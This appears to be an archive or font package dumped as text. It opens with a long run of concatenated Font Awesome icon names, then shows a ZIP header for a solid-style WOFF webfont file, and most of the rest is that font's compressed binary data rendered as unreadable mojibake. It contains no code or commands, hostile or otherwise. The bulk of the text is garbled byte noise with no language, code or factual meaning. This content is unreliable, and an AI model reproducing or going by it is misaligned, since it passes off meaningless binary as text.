torii-gateviharavolume-muteyin-yangblender-phone	book-dead
campgroundcatchair
cloud-moon	cloud-sundice-d20dice-d6dogdragondrumstick-bitedungeonfile-csvfist-raisedghosthammerhanukiah
hat-wizardhikinghippohorsehouse-damagehryvniamaskmountainnetwork-wiredotterrunningscrollskull-crossbonesspidertoilet-papertractoruser-injuredvr-cardboardwindwine-bottlecloud-meatballcloud-moon-rain
cloud-raincloud-showers-heavycloud-sun-raindemocratflag-usameteorperson-booth	poo-stormrainbow
republicansmogtemperature-hightemperature-lowvote-yeawaterbabybaby-carriage	biohazardblogcalendar-daycalendar-week
candy-canecarrotcash-registercompress-arrows-altdumpsterdumpster-fireethernetgiftsglass-cheersglass-whiskeyglobe-europe
grip-linesgrip-lines-verticalguitarheart-brokenholly-berry
horse-headiciclesigloomittenmug-hot	radiationradiation-altrestroom	satellitesatellite-dishsd-cardsim-cardskatingskiingskiing-nordicsleighsmssnowboardingsnowmansnowplowtengetoilettoolstramfire-altbaconbook-medicalbread-slicecheeseclinic-medicalcomment-medicalcrutchegg	hamburgerhand-middle-fingerhard-hathotdog	ice-creamlaptop-medicalpager
pepper-hotpizza-slicetrash-restoretrash-restore-alt
user-nursewave-squarebiking
border-allborder-noneborder-stylefanicons	phone-altphone-square-altphoto-videoremove-formatsort-alpha-down-altsort-alpha-up-altsort-amount-down-altsort-amount-up-altsort-numeric-down-altsort-numeric-up-altspell-check	voicemail
hat-cowboyhat-cowboy-sidemouserecord-vinyl                                  k%    ٮ)    ٮ-PK     N\K	P P   webfonts/fa-solid-900.woffnu [        wOFF    P    J|                    FFTM  0      ȔPGDEF  L       *OS/2  l   O   `C8cmap      $*/gasp  D       glyf  L L Thead UD   5   6G.Qhhea U|       $Chmtx U    illoca YX  	  nFmaxp c       %Sname c4    +$&,post eD    .1xc```d ٪?PZ M6                       xc`aØ2H2000123  04|`qzgBj
)F # xkPVPgy51DmҚFMFi%j&5MEq"Z(
b#[%"Ro( F={vO';m?~3Xut
NZiYi-+<wy(Gpŧ7y<_ė|Ok{||;y=o5AEw*zxZ(/bxU,EX#b([Q,*D8-jDhׅwdDvr"$e'˕r\#?d̕r,{e'd(/ɫR/v~Ǝ{hov]iڍEl߶[ՃʧAjzV=H5ZQUPjVS4f9jSoDLT*]SjڣJT*ST:jUtpRNtASpip9_8kߝڧ;n1SӃ:Lc8c=Q')zoWzmW4қt׻t.ѥ>oZnҗ-un1LbBM/y<gFf`"Ljf7oB`rGڤiGcS`
ה2sTc愩1M溹iq1 vrrwr7ҝv܅nMqLkeqAwٓ<s\.ns|K1~sy_✻TDWe'91s9NL"JĈDD{."Q**.Dt%`E>,{9BN=q~~ke$?is_cK!@`{Ret9s9߸LrZTrJVim.6S^WNwrsʝJXl˾a\F{.gY\^/\&etf6>wy]\VC<ns5s9Lc",\]\<o>1=<L9wYme{=!'nwYzץ_/ga+_A6
xU<Z3xc9X%X{p7v܆[X7cFY0|y:8c08GHq O`/쁝!eYkf.SL2nkdf(+gVb;6
:^cl,.c`ڱ ^gi-4ҏFf,I}TLߥЕt9]FD@х4.\K_4N/I4Hѱڏ>Aߡh0FChgډv>(4249Z8
pʠJS(]P;a+y9!:ȀdxVRX0oa.́«0CDCLK`<Ca >G< =i!Cnk*BH#i 54&$$I)'g'S-d3%H&$$E$Iid*&d4JAi҇|/5	r&-ZpxY       x	G}(W5===s;ޣյ,kl8ږ-a#1 <mbL@p^<BD򜼼^bU=3v>wqhk8g1gQ)78g"F枱".c7̚Q56?qy ЬdQ,ȅ,݆#zFTS[Z:yB*t,_>/̃$-*p<uZFs\)\FH.I1QiΖ~q;[k/n:xDg0Ѭ	xqs$/I.
,JiaԚGiy1-=6.O8נ{w?iO]-ǩ'[c\0Or4ryޅV;ySREHNHdqlvս{}qIXC\FX<B\S0gZ(F[\n]q:NVxQq65ƜLk]jY$_eVin;wJ5s6@à,L!)-lG3;Q{Xhst4K=UPD3,Iwr+9a8gjh|&9>lo9Nq:ʅa]Ћu6H:H`] =ًkHXzck{UhV<%ztuq5n{ww6~c*XkEvJ@2H"\/:'bE"i؞:P>>IE{{h} r=}Oa\
k`i{ϼ?O~@ovJ=~ދgnýv=?z^,;;8+@+]dD-g)'Sbp($Noo:Fע["G;,sr1Uk)15U#CB\Jsn'T(	{#t:o͎,R2=3f9y?p/\Z:@2cv"	uԹ7Ցa_sxy(0Ë)yD׸M!3l2vyAw|m{RS95&YdDnGrX-)v[mE,%*CJl]P !E*}$HK ,s[\kp֋U׈Z{fߪe//8k*_h|gVX Gc9unOX [@3 hRug5[VӅ]ta_ PHYV
1U.GuLui7{E1Ťklx-hCH^kbX&y@a{g.޾9E(7N%a2a|O">XO xE!)J?!
,&
KsF<'FFT-LyqA&_=0~Z&8(pPP.~{>EUm5CBG⾅ՊS^>
QWfːbxˆvb'm6* .CG rg1dQ߉'t?(u$dw|F*c*nAeU&dPvEמEg$EɊ"Ca%Cĸq'gSX	';i]׍"Idojzr$ɖhYl	<waXQIHɓpXuN$io1o"i?C?0`7lZ<9e]	z^ sNFIY+wsM7IRWS'y}MN"Ͳդ5cS`*𡟑$qÕǏuDQhNN9{n_a%:~TT,vwGW 	{x1ԒHO@UYE1fM զ:ԚB*Yu1Jv,ہ#ﺊ[4w]UeX&]jjZt
DWA7Ty@B\8*0/wq{ym7g+GOw@e:)nA 5`tMw ~Ƈng$-Jb5mI\+v8k$+ܵ.yU8!oLbs;0P:ZΚwHϚe!pFQGQ
W-2#EJs`c5aԇ^[ i4yPSL~$g[?zk~&wӃ7Ք'w`[o/I,FMKġ{XM:ɌfW2Q7Я4 1~[k.YN,)*8?%cʐt}
An[ڬRyc B $WyvݻCqtQOnQEݩN6=٪9赃mT޷Tdr+O%ǒ_~eRՖC#lnp_hlX	EqۉJhcVC.AE
V+ktr\{Yn^RJny-8K[	0{KN]%RGU5hZ%RtSiE+_#\]neOjo8t7*<f2t2B$<ΐ.9Oc;%X*0ۦSK=NgHgS?B#@?-w Op"1/6MVhM@GssUŚ t!dۡ#guEҵsv#ˎ\.glFcE IuϞ
 [tîAǇ̭iGwBOb7hVXA1ч%@APg-d&RJ!d)5TvL1WJLti5dCP,/IRұf{w
 1]׽/d	y砑;bpB68S<8;jDɫ1g&ge{$NJyD)_v^A-x(tCۅZS۟=:S1Ei{~t
Ozbx98xE
;b0tF^6͙__AO\.q_v($ǡ#.OO,jC. M66>Pmٵ4A?:u5ۧY>?0 #J:2i#MP\ĩys,(zUuTP/Ivv=^;֛;ЎF;M&%.G5g*ܙΧĝ^ЫSuWGT歆Gmҥ[Á/@8Dp:$#:h_V2y]`s=f,0lЏ+DX	lrWT%YzԿ`U4PO7U2Wz=M;_n\{.W^Kiqzf>HaE|=]ms9:tODKW{3wOZOhx AxK;U	W@%i;;8˰,+qM%Gut_=ih6hkB[/==P?J>@KhcʏB1|ZF R#:De0CzDFtoTaD~OL?V(ʩ9EYdŰ"b'>ot9ΝE` TA	'WO
!ڙfH#^HFN\$ȑOq\rBB4
%g/;7?tOXFN<5+PI<jS1Ŀe5'?lXx%ÑVMu}z'N\X^;:!z:ORL-xg DڂF08.٢'6pb`E聫0ղ.#u}csƽbU
Ud*H`ׯO4\l9H)FsPeðT;klLc).caܥ?(oJ'㠇BQDC/`.P<2s3##$G	x#A~;q>`0['6&i%7cdeU?`Г'$wÉDgR46M>cW>N	*RqdhiP'qĶ?agvnnXA
Za.k:{}ځ|R1C1ˎ8/6(PpHi!s	%s%8;GYlhj>YJl_Dkut9913pMSY֚Gz'>Dx,Ofc18q<|qL}EaH2WH	G01$?,Wy+ECU>|NWs(^n%w!kHy?19Wi;Gamh.N~-,(JUQwVB<<_/:a:<:zt~Q]wuO'%nθ@њțMKNx|ḬUPd(Fpj1WNi
 h-lSiE%ըUNx>Mr\^WdFx3ßj!,$M;aW YLW?I#o=--qGd#Ǟxr
*d!C
/p})hجׯd%SABHa?|qb6jڮ	)N%u&ɧ@+@B5,j!O/EܹweYYɒ_?_zl']7O;va+Sq߉6SCF˰=бu`S0|2$o+CAvLTaÝ#ʎ+e_ԕa0Dt#(~?Gw	$Sp`gP	EKyE9cdqCbL/ֲ3-fCyi'ㆩ$OL,&Ui>헝34|v'SpOyO;	Ln8Dלqf~Ën:n9r"F`#pNJۃ>9ۭ3jKۄAC~
M6*(]bXX%Gi;٧{#ʍ]9{m>м2K6lRz+Nkh䏆b߰/8ՏTI%GMzY71^aMՂ*ɇ~G7MwmKIņbwyQqh1:D,%Ѓh픮1qoJaⶒUo)K^ye*bw	3pu7"H5ĭўgHvhBNSّYQ=q݈%WVm{%,Ffs##i!yHj6w\'Vk^l5[Ӳxܫ[J&tI͵/{rii҄d/.\/Tibе c<dK'G./	:]1 ۔HDƿ_ܲxGomR*]SCKipffbiRdaD˥t$vBIQ)"LSA92Z켃+M~ =<C<_|;СչKdT/Aۡ4sbk%d2.o׹zkOjlY^e*HQ˥RU"ySڡhU	Z5H$Gg%hhP-v<#ִ iU椚0]O]VY饤,ox{:4mn$h\>ZEh,3e㷅ҙN.=gΙRSZVŁņ;ad3S=2ca.,do{.(*D i!JKǷ $*qʣJ?M6oVy#"ʣVTì.^K8yy-YytS7zo_WA	s8 1BV9@OS0;G[ޙ%s+lw1qr<MK떼CJhT,풸eZ(IxlK4 ,UnZ8"xU$QK^O;|y<Ms";]v]%z>>א# ?J1QO+FX1HSٲA}!>|"dt%2h"toR̎&K,6hn,Mwl~B?Gؒ>ffg4d6ڹ	Z>t
Ƽl/7{aEO9Cii֖<b'G$<`9V_~  *4
Aw'k"hu &t`/D2QV&-@F!\~*T%U.sQ=.y"
*+Q3vǨr'@)nmGgK92p>
	% ޱ|(cy Ý6!:}$s؍>|wNęiz78'uitJ2y`JbHۺW6[ʭq&Abu0B<ݧS1\+.Ot45qqfzizw "McNr Ī|,>nY~
hyjG*SNs*ֈP̲|!VIyD<O?M?fU}a(=I(H) ,ŇyzԪT:}Y3TlYi
LK4;L<":=X6'p~]eW.er4{=znT%_L  )7 
fIǝ 99EҢ")lHnͨ&)u޷hYx!|(Md\VP$p$/P2岈eM1^ũЯ^LUVM#Gm-lU*!Y(͎a@x፠¼i}6٩jXXDWҶt%Y1$+bAw,*g p#^+ƥu?5PbCV	7}!tv/,#`|	J4cvc=ā p$X|#?];'Q.{& \Napsod9zF/Rgvx+(aRD|zꮻUYܫ}Ͳ7=N\nW,2 W/̀ƒeN	tJ3kec,Lj	bOȎM*	n(y6ُ=1=OQ*"]XW1(|m~TKR&#$Nu>a:)]$
ss<_̦7]r&zOH\ךUBK1͵<Gѣ$էKcj!;7ӧ@
O?կOWP|m
 ʀ>/f\p_9*72,-qAwlL}_PUǼVYؿmx(<!2t<{IyCԎá/T4Hꆘy=KYK"2&R8oz $qރn&s6]sk쓖e;L\Sl{y>a+5lH_mFJ|KMF"\9ðW^ ƃƩ;?mF&f\* ](|N64n`$hG#xc\ܚ
ovǳCcHpnl_u. xxCRi7/[(f5k)VEx(h9S'x`ǅ=>Np/ezT)T!NX)5w`C;>$xGn߿$*k|2}?y	.#/r#YJ[LhuYUZ{YkJG׆ar;u{}T>y2c؟?g{7q#:TUCj*[V_͸|;gYzxpFL9vQ|!]* N-?F?ކebͲJtǵ>R={8'P؊dߨB3dGLY5z^F1)]Q1-!NN71+hSotZ hb~6vz:UZUݙ̭0cT#ꩴrlH<\
wiKGPT3L* K.^U>pRMR+,yBhII#
Bx]C_ate=!,%`)D	-SvTIʾapՊlZEif=
? 02RTJx(!޺'75f7.e19
!ONV 9_ȕ*I^l\]үnPlFPQth+&"tmV~Yf`;TTڠڷp,:N9?K$/]hb#9@fo~?6s~[.=D{eeEz<\/Viu!(<RrL<o6rq`+)P)tRԓ9(S|$pN<݁ZubXܡ$c% \lVa([7a*<K;+psxe_F̛DQ6to:PnCOPիg~9Ϸpo$:/?2^xsN9|ݗ_N:T(E`AP{P
uv0WECߵKeCiGCy/SxḮ==+=&$
b 77:_Dj=A85qZ!mA#8w5^SPצ[*.ZP¢%~"^rTExQH%KhF	{E!0Prg-CrXҾ=/!eN18F>_1.iԽEڄAP{m,CkT=!{jAĐ}pKPDr9&#uJcޥ:A~x:#hRXqB7b|1tC
Gǻ^C)Ph
 m"[,ۏG6cV=ry~>rZczabm/SSV]NSgʅlw,Ԇ:TcY!k[A:&}^"R5#WKpx6#v;%I{tމ\9Q6BC1$	`|/59oǕoN،m!ݎ$JԈi֙ViOl5)'SCS郍cG&.%s+4vL_#\5JlMjxB%^aJ}!^<5Vz#5-O(~^}j
[OJ 0;])83תϸA_ѧ+T5?qGSqXe\ N/Tb}JUۓ(MyDF 2i%>'^Fҧ=ڦ֡dÔÂRNjfnp C.c .72uiۤ2U74gq4|>x;CD*KYU|>2['W(Wt? 镯XcpQ3׍38ϭRG@T){â%<&*
x@'u~%{K$2DHa0_AZk^gZɒ^$к:ڡbxX&^.D.=9{q]$t7ྔZ^w֎)r!wwǵ<{NP	VFHgxQձpœd+dIO̭n@x3=R-Λf"TYtHH*V]BnZUKQK	'{c3a-dꨢ(ӢmDa?W5UBT,7:M3,{J.F!*"c6N>-qh*9f5äsM$:9(8R;nV<gsVFG=a8Th!Z*iKA3B^M,G#Ű^6YF1Ul]RD{	6\d)D4t tޣd`q4V.=D6Rq4$%$nY]]E+./^9% h.aĞX̂E[<
>krVӍF~h)he$-ER	/_;Tܞ30bRc{~풶pcfgtmɬX#A-KqjԹd`sq$`rPZCmʖIOnl؀QVR穩ֈkKtoԸZoV;!s&]Z-#@	H~.Q;Oh+q:Èi=%ߣjK|I2|R]|@Nr7d+i9B{77LчA$'uallH1_Y?8GKZ)O,`߀7
W쫉Y7PW䈾i_\Y4K@9iv~weEd#+gV9,ɣ0 ,Ȼf<Q+jXJq4kVeJ7"<o(#|T6TC8|Ʈb&m_Suz+V@|ճZ;Ιo;OB5xmitk.Ԃ,b&0>'8[UxLx%<<Bt~-BlXFcziu=˪'of\ҭ$scq OҐ>D&ln/|RdNcA{oL<UMa
Sor@Cyڈ+~N$[[OBmM6}:X,6puQljTV57Uq?b=Zzg^m^톷j^L-qTKC&V{jSZ+rQ~bI`Tl"thWG#b5V{Հ]w˚'Hc L˄`(C74E013XSKZG4ͷ姇jbdǺ
0Xd֑[Z:dBM^0zfrcrz3:zʼ)2ӹA$H$kppP.NuC^3D&+EeNj"bY˫RDGԨ|'JpiS&r))L)(wX!TUO1k.;p"kygQplLբ\i8@H$$*%5=C=x̟SvTqSx3 @sXbj6B#f/iLک=r4d{Hz/h NIC&`B:Lf3"Xa>464!xz[ "؛udPC#vzJ%<QKܲ,O2h6;~|뀮,^uuxk27P+Bv)M-qL-Ef~!ހ/-A~Sun[.(ćm=bR;oS%m0\"vEXR1bg}V֘ugIrn~rK뜓A˙ù^&y#(՝V^qٟkv>V/f+P&aEE|8,Pږw"ab
b[CCB8gbzX(OIcG_#4J"3d穀!@kJ:8xBRrs_RJiULu9[)ϖ;+FJ٨fԮ$Z lv&'_={8B.S>|}O Qw7Aci[Gxbo)Yf	1lLejPkR˞u~>87~81y/XSǇ_:gs=FOXr#=9WD8|]6_j6st	Β5hYDY̢fh҃!ovV7[S/IO3'`Q
<J$ߪ۠ݺ疗WjUcۭڞ횢Ԭcx̲o\Y2>}铆~+H8S-h2c>3S?:N.)Dl_lS]ߓh#Lz4=X}4)S1>9ze;R/LvGs0dv^^/-u+e|+}/\Fi̷@,a}<+gO18}yY([_Ƹ˴3}.}ih{xPf% qՇv0{vUU` sϣ݀?l9S	*`Z-϶EJUYetHM}//V{tc6׳t7ùѻ#@T{F#P܆=WioҙS-`똚OEGxY<8Rڌ;uvmE0[Oy*{tJb@ʄp	4ǨmzTl|"aعPW2
Oތj OPmO׼U'X~/t}E?_vZ{]^h7Ldt'stW*oYQ*_UN7	m(GoS%S%OTw lµ{\._O(|;(ޓF*5c,IZ)}Jb:2U]ng'ɀ1|@HߺY1L 3G(X(j,N+~@ԱKcc`]lnC<uj9,gvIQI|Ϥ#x&C-q?[e©7zRČ-kͲ,3܊D/s=h IZ zKEc_mcH{|ZֿhG3L{>Hc̶&JW6;ݽ	
zĽ{F{|;Z//
KH[=Lj-9^,{}&7޲;aw`g	hgB7qr@}7dk+WJbZ8xZhT	YvW'{0BR?EtqX,ݚTrTʍGwA!w!(âzyQV^] GfE1ߑ/nV=q ґubguo67 <S7V5$r@
 EaAȾc+^FNC<%߬5^KQ@<:cNU}NҒNw}Sr)B$8YYx2x:ŉ*%ZQ2Nj<]W~"^)FOON*q+Cy愬8	|bFWySiB/	jf˺giElL11TLiRxAy"6s\gA9HpJnZNdΙXR!۩?QYt"bb:eoS3Jٚio̗V	M23&i3e%9LlM$XGTQܥ0SR-")hqI<&>˼E!n;;-DǸxWY1+30:K%l@ѥNIjn26#6(Vu过5ع-TXӘ|$RicV7|ob<E[B\L 'uXQ?|TA3CöO$!',ʸ"ȻoVUUܖe2mx!mX8	Hѭ]8#p>AZ~ր_qPN*}>Ns؎iCxOpcl;CPݯEu^%vlj/a@`e\rX%=$xUcפiU鵜 u&mCEO,@xKjX)K.j(Ғ$.h|YŢ#r-TIqvx0c_mm۬eD:EK&o"%waȁYVyi|1Mqf\5;rm{?^blb b[޼KxAO{ot%R0yykp,`!bl!dj߅jX4yMC)gK$E hp)#CΎO*Tq$V+zUg>fEőd2DAe+ŒCF*vUA(5}FqSY(DEqk2r'GGMn6`L.`'-sm^{gn0X]ز̄*VOx-\KW壟cKDep.$W<û n3PUJ*L2TG3^#jj"%tZ`g46gA7$RB>V^o
MMRBR[ 'lu`c3<Ik^Ʃy,DqF	q2}!?jis\+BlL  x7%f@*Sl{}}kpLbVNQR%*bvf
6v<
)Eex+-F||CI󂬅lCU^NoL[|;}߈ʚ_.'"Hxne$8ZJ{B3-R8QaN13cE0!}dzڹcHVVj|T<ն΃g)7aR.'x#{N߳kw<RM0헐fw)s|n	yi+s/ Fy﭂s,.D];k+"K{e$+E5FV,MU{YY{-QrE+[V*3D:pP_ӹyZw?.<"C5b8lb'@y䡛o~SFL^}
`*PZ	DFL"_GOrwzϪ{}a[l,P.4U 2P R`<D,wwCAaHF+_'awXzX50M`6ewH$|o^Mi_7koY{[oA2ht}_^(}p?MsB29XFn[*hDL&XT9XOŖt<K+]ԩLdsNZ"rn(X "l
xZ/`waz?wZUg&_8=V`KC*)٘(QO醵U#͗e谹~Nf${L}{AZ>_jN0eڑk}ѐ/`3"6Ӻ ;<EHNP,IXӆ#c`~6%L;[Q)J㩑ρ3ZrX/gx A{i6t6~`ӂ"bi3Gឌn+Ka,O b_B
ʮ
dNOY	1ᑏv1%Twɼ ϿnSX5
\KÉc)k$$baBjQ4Uj!+l3bij"jnV![Gpvl02lMxٴ1u,2Co2cpB"F-d*Du	6{1!ԵQByTA٫TgoOLZƶ&Syia{!/L-WС|Ż=+`=Z$la%p;l8OgJVe>	N0E[? +%w94\>f;a诹oaჂԐp.1i,MR;}uh{!PDzxÿTg׉<d]087p6s0-	VV7-AA3JipIHyP6𭋥]YDF	*#էD`)߮a|C71	<.#jq/PҸt<8Z,T9_M%+c	2ZE	Tz;
>ޕZEr<LТKW2v[EX[H]~vmU{دF-
i|^xצ`e5sQeU.ߖ{!Y|FiTKG;j\&嗳tD<lN{r9U7ͦ0<JǍY"uYa4G)iͼK^8OVsƼAlpэ֦*y!9Qq޹]
nӖ<RE?qgЮiӧKsqr&x#Sڄ]V!'A@$.c8hˀl՘ж#uy2t@nF;h+p!*m6qFvj}Hg*wU3{p}5@p6\9#:uWAe~͗Na4y<'_z;78/N2g9L-6QlfsP@Xo:Q]!^B:2I5MO\g
!^$)rtjjI@[
mkmHOTܾЅl	5һiuVw֐'wUW¡ 21OY[&Omر݈֢Z<UY"N9C7$6RĐ凄b1xӰLtX2|S)7&wa8T5SQs6)<9.oǫ|Hm+(mWg)9^[ F5!I(5rHT]LހrdL2CyvD8TPqlң)sԁVYw%#ac6ңE_6N/I/	1GVs)J5	#JGDXz$y}u7[hy'YLK33?tSN&	1gRYɊzng}ÃLlc5h^kjb\>Yb(iɏPUNHIɢ,) ! +=}Ìj0c}_A`{𦄫xu)uozP-)uyQ>,g>[K^gݛ#::V	v@KaiȶL!)HP!kbłxPr
]3^I`]3)9XYsB-sjfn$zlu
9vhn'7=;}ُVnhk~f?˵HC9+2Sn#{ajj#aj1ӛP.rF!y@OУ-RG;E9]sg$ Iczw;Z9SFJsh̤%{$_LŮh8sFScj,FFP?7ټiMo;~u%]Zh4{N
3.F8z^|ht=Mdzztoa"j:wRguXZұc:d>F3gc/ؗ&iB!<AHv)BMbLVpf
:MO=V.
!2Uh/T06\|6d8RD5a.!VժV%O겏K"rг㒌M0%TUr$EV" 0	*J KęM?L_1$v95@*y/H#uA,|QdR(RABFwEP;pzNI,8H"=+%4SSk#FgAmK!k%G:wE<Fcw>߃~3&|K(*bS-7vuyL!UST2-Eu]>I<0]-bickVTMLJ:AG9lt	w@)B?ڑM4d[Aݸ+3z'DX&%ELiYD-Ye]_SggkmjLUJMj:z4b9ģB9]7^8S$yV3#^]UPwjoԜ*|\VB;-fH2bqMWeQĐʚc@Zx3k0 ê&ec](wˆ@)4A{?{)*	,iHRۦMρ3suŻ掜AfQnwv}o$Dn\7ʧ@]_Ls>(d:&G7*Q
wEY*wi]e	V	@<s
SyuHFdW.jIYa!+d[Խ@x%_һ'O>֏+3CBETΜkddv8>0OZbKvS `HO/ы|rf֕gӓQ'N;؄Hn	':9b$8r*LfSkn=IMjCFywKùX~X&S[F+o#ػ3k~Ӧd&<jD6#cSǰKH_KD	]?8EK?.c7	(#O!MCQ"~Y+t* VD:,	:׺Bcnn㿩[ڌ*ʌ%ܜT˒TV7#އFGQ󥃕K?TD_}>8n'=S`DXfΞQƗZkQеGj>
-pޭQY/h8)3VUB[tA~&L/;x0lG4 W݅RR@8<qY\H!Rv:EքcƉXd<Zq-}y**]ZkVyϤmyʘ!3T'nq+#"ҹJah?KIsLnC.c#35U]C 	%M]MԆl5!ctT+Ƣ33H/bG!LrUQxgk1BeYJL=dXs,k8=-eq<֩==;G&>c(D#nm5m4ZEpR-zmXo[B>buVj|i"tfߕUuYU46KKݛqw]}U_sO70!x'(Q$EYeCu#R,;-;ذ8i=ǖ9'u_sڼ</xn}_u  -%:TU^gjn{wq-Ɠy0 3`_i<gW؅8rEWkQY'ۮrb}.2䞑`,Od3'_.`	1spFO(Q5ZrASHTXj<˥1U˵ϊvܪʽGۢ[-E'Dv"=%Kf}aRb$
uTP%=FPWڂHh65Q}Y2fbR4Hu6?LC]\3;u0yK(;HR`eIL &RX_ 	1-=;ht1"(E]J"%d%4tN]S'u:9OT~+$֑TALz_gkNswO˔T,J,{Q+j;v5^u5nr},{n6T	y(uT[=mDKySjRڟ;$*H^儢pwxǱ'<!{>7$Jl6(&X9aEϡS-@q!_?N{5DX-c}8jS]dNB1Pc#tNͭ-qeR9:RvM-/^WU}XhwTW'lDD/|d}
4W\ͥRQw[Nyhͻ[wvNVGIh:AU1`Г6SlwVnHIo}HS>kS)31iufJVߖ:̤Ǭףd͆}a8XȘuC̸}'Qd@LQsJG*.aᢽQ&{e}m&IHX<pٖ'GX wƈ/aVQH*Ɍxg[wgK&c8![DYB	fΌlkl܍wY,adKN-;uf K<50gw]xwgx3ƻ:ȥ,D)}c*FC7ݱģCf4i߭ߺoS<aRGݱԉ#K(kgzkCJw86!$Zv~:QK-ƍ77싒&7f[/p9oZ>D
^R3?#Z#mAF[!z6zǶkD3(h@/af>J}݉>5mE[q(&*4GMNh>Ij!>{X]{7@֚;̼8xj@Yɶ.d6O~u9NaxG\Ks "~պO6R`s->-RVd4gS4Q5Ƣ"<_~dFϴ/=[V9LAXXDoL<(QD~%<1FE,`I:KyZf]#s(0S@zQw8&jSvQJ8H΍8Nsʦ@m!#,>bciu [YYJ	yrbh]0xfp0~JZX29E.CXovK)h)99	>Gg)ힴixHrP;/ϊt!\IؽS`u}ru PilcK]^e6\MkS|y޻מ)Bvy133)^^8qMD^Jl:,բњtxSbn2obf~R~k տBypf4"y¡Ks1
 Kڸ{vCTLI:jyTLePÿف>>HABav(gz 0]cBY[;P*X}"z%NP먹,d" yDshg @}O ,éލvAn뼰IR kF;\P .*p{y"DSQ}.7L ܔ1d/6yuM|Q
5䃺$1FьG8D vǒ۶f&~'/,q"'1򟰿&X:Octi4oeKh a6y)gPt/K	񍊒75:+џ<*/>9_ Eن믇[>qcQ#>6Z0eP;bE[X.}%蠊ulvww~mbp$,N\_X=QV}bp ʍWv3aFu%Q~I-lPLW[ֶ*-3Fjلİ6hO};	w`!*&RNB-AZ{W;lzy9N$h<FDhs?TƔO5?e<`2dyD5>6I,(;alJ	1L3Kf.۶!;vQ.˲ٖN5u,Lʢ\$E&FuUtˆR2ԩ_	8
YˈeOUW%){L9ZH9M8!ְeIIRٛf6E؎Wַ9裇H鋑gtapbܑ4ѻ۵(vg6FѸz[&gFjT'򖥷DYTzs"(wlvj,LC2`21|QR5PpiZ1sS!Z۔L9EnNdGML]{88MAlJ'~Tt;d9BTwU@.lvڃ:yFzBļBU#G%TPEVNZY7JVh9YN:fŬt,
Ch9`MfD䎎YؙDрNKա\.&WʈM@sUKL"SMxs/GbXqV/|T!/9o4ւÀ(#}B+ts.X!jki~':=k+
Q.{Ss٤m2mY6>JP$׼"*;j[x5w5۲A7c`?A͘#e\2!zIִBwv{;dܺg*w؞,Yta:qQ`2dE87K+pXBdiqy5PokOOoa6 yF+,uZ(gM\I}sOI=^RShDѸ
wp~%
hKwNu2D$սN<B採}l7ljңT#XA =h>$Ckznt{}ќaKPp!"VON2j{k{1PMh$bNow]%½ٱq,w'쉻C	&Y=R_e-#']<Ҥ%D8*ͶTA1~P8FXÑ8\`5?nmA$ݗ1y,?2kbHם;,2PmSghkJdFFâuR?i*r@ZnI DQ;f$K)iYVxPzxSȓ[_963TzҰ9p)I:&=ngV<c#ѧK"/D.Jx;Km@ڣ*fc\89*k*	fsDwd}NE'2:a˖Fpxnt)1'MtCI덛J"Tѕy&8ه;ع`~ҴeM{/SZ=
2+To:Y91qdYUɋ!(ﱺ9YivZZx h bL#kVC{o~ts*o<@A	D9t]4:VұLq|5F&FЮT@ $<q+(q,WcD4@Kd݌3]m4v4am;m$h٬oL$C#@`v,H{HdK{雉Lkvo.ؔڊA<kk압lӒdMRaUZkn6ns[B-s-:	oC^vuhUWY՞Eҹk+̰Enr/@4e4uNAM`lY6M9fnP([ȋluҴqwcDgw{'kRnNZeHXmvUbNtǓ^ּ}	5Kl~L=Xw{LKڛpHS+y}>!ŭ?ܪiJR#_B.X-uF2beG	FM`%#?ʢiB Y:ssVG !
|:x̉W(u
e,Z8jPՙrL>9wOE7)qƜ'^2וbYU}v[u7uuHME?S.(7/`?z ΎYV!=|$!T9`NiL>(pZR^Kr錻>`o8<=P+Ydd3fx0pġl`1}hqoiG趨VosuEJ
Q;;,*%JI*>έmU4#łQCSF8UQ߾h\VԪJ\iU"+i`~-lQ.<6 psԩ.w)yғt-(+[ǢöСWUs~i6|EyJ,dW3Jd=ؗp/77<3^><{1#K&Yb2{xr@ϟ+תkyݻzYǾ(γ#0Z[Ԑ * o(Խ6]-˹KRP`>hGJ1oCZ9D>)HDD1I#c󫿏[u#3>'/(w6{xU㾾O[ەŶMw6ִ#ȾhAGbz柄U3BY׏غ5;MT+"Av?ٲr#$,"bk:&+Β0>u
ek[Ak%<`%@,dK%yJ6ֵSƖlvGl=[QF7J]qf©kW#]RIH0$?cY
hYW~v?5ڞFϓEf؜sy;X^o-˾z\4(a»^#^WwuPGkX|@Ggur,Z4J>c2c
;PWܞ3:xѯ@OC%8Wю6Y]Ap.+[Gǐv CvY> :pq-arLsd48k~pY/{6Nq9h?
RԚ+Tj| n#s|gu'Cs#1^JPs}jip-
yjd,3$N882q`̏hByd2at(-}C<0v]L~9a}չWƾ%&\;?V.Vaos;D}́ln"Ob%g!ː+ug@+R:BƂgai-6W_"-s.K~Wպ\}/Ӂ;m{)I4 Uj	F|kj&`cWNhu(R[lqt$V"3"8Uu
'3d穒*,/G:q4	G""FtvS?{Cn8y*@a&ϣ-(hl{\2q,	H:l1ƍ-lv3CnÞla{"ڠp%[xkuꤪR*H_c,<ߝ%×vnxn@"LhDu<Z_Bs.RZ0	hcHnD"\R we(A8EFQM%VpBcFKBQu:l'	Ԓ.ӊU%JߺV)GW R}909IEӁXX}<\DE15Sq/<wjw;q!Dĩ]KVZќR*_ݘ۱TÈw%tyΧ[mzR\?jCK;bdX$,P]ZZݎMzu#[
2ܲ޹5up/^UiF1Zbˤ&'ϚgWR>"dں49y2яl9C.V<|fo]K^޻3E1~Z2W\<RYژ[=hZ[} v"XHTj4n_38KCq4q\<])_9yYg+2A,#*'yJofќeIƎZT5'NaF8CqK{E?dSgjt(>N1@HU]VXQB.nKYVH藺fde>a?Fi;XW {{-6qNHY%_JlDDn!'
*Keϰo"RB2 }GrHn.VUPa&7_vwȊ(%"ȶ[k8HbSAV`8و')+QI-eQZ(-192cAq28&d+t	W$17
"_[E5hWCa'PvЊ0,Usow0WBBRw9Y)aYK9n#ÿ3Ġcpxp|y>WX:,C]7j[R*V^*i;`wz	caCY]_Cy=1૰)36h|-$7njmH\%tr9Uj
L^.D'&H.F(ӚJ	kЭ4"6([MB9}*V|rJ/e $~S{k5fZD	SRT讀ۺtƉ?DBynޥcة!j'mŞ)|PLN\a@R˟`3|^:|ۢ+s> E5ϳ!2ݶaT.WyVX,ʅ]OVgVcik;kmMDc@Ylu#|OV*Sܾx랱.^OY(Ap]10iMCXEK{6)\7\^y/յߺxҺvJִ5]hw
